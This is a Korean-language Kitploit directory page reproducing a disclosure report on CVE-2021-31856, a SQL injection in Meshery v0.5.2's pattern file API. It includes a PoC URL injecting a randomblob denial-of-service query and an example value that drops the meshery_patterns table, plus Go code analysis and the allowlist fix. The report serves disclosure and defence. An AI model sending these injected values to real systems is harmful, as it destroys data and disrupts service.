Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/ssst0n3/cve-2021-31856
Vulnerability AnalysisCode AnalysisWeb Application ExploitationPenetration TestingDatabase Security
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

CVE-2021-31856에 대한 상세 보고서로, Meshery의 패턴 파일 API에서 SQL 인젝션 취약점을 PoC 및 코드 분석과 함께 제공하여 인증되지 않은 데이터 추출을 가능하게 합니다.

저장소 보기
45년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

[취약점 보고서] CVE-2021-31856: Meshery의 SQL 인젝션

항목세부 정보참고
프로젝트https://github.com/layer5io/meshery
발표일2021-04-28
CVE-IDCVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
EDB-ID\
취약한 버전v0.5.2\
패치 버전v0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
작성자https://github.com/ssst0n3

1. 설명

meshery/models/meshery_pattern_persister.go의 GetMesheryPatterns() 함수는 order 매개변수(/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0)를 통해 SQL 인젝션 취약점이 있습니다.

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

동영상 보기

귀하의 브라우저는 HTML5 동영상을 지원하지 않습니다. 대신 동영상 링크를 참조하세요.

3. 코드 분석

함수 GetMesheryPatterns의 매개변수 order는 문자열 인스턴스입니다. gorm을 사용할 때 쿼리문에 직접 추가되며, SQL 쿼리문은 Find()에 의해 실행됩니다.

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

매개변수 order가 필터링 없이 사용자 입력에서 오는 경우, SQL 인젝션 취약점이 존재합니다.

호출 과정을 추적하면 매개변수 'order'가 쿼리에서 직접 오는 것을 알 수 있습니다.

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

디버깅하면 쿼리문이 다음과 같다는 것을 알 수 있습니다:

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

order를 id;drop table meshery_patterns로 설정하면 문장은 다음과 같이 됩니다.

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

그리고 테이블이 삭제됩니다.


전체 호출 체인은 다음과 같습니다:

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. 수정

필터링 없이 사용자 입력에서 매개변수를 사용하는 대신 order 매개변수에 대한 허용 목록을 설정합니다.

https://github.com/layer5io/meshery/pull/2745

gorm 문서에서 참고할 수 있습니다: https://gorm.io/docs/security.html

도구 다운로드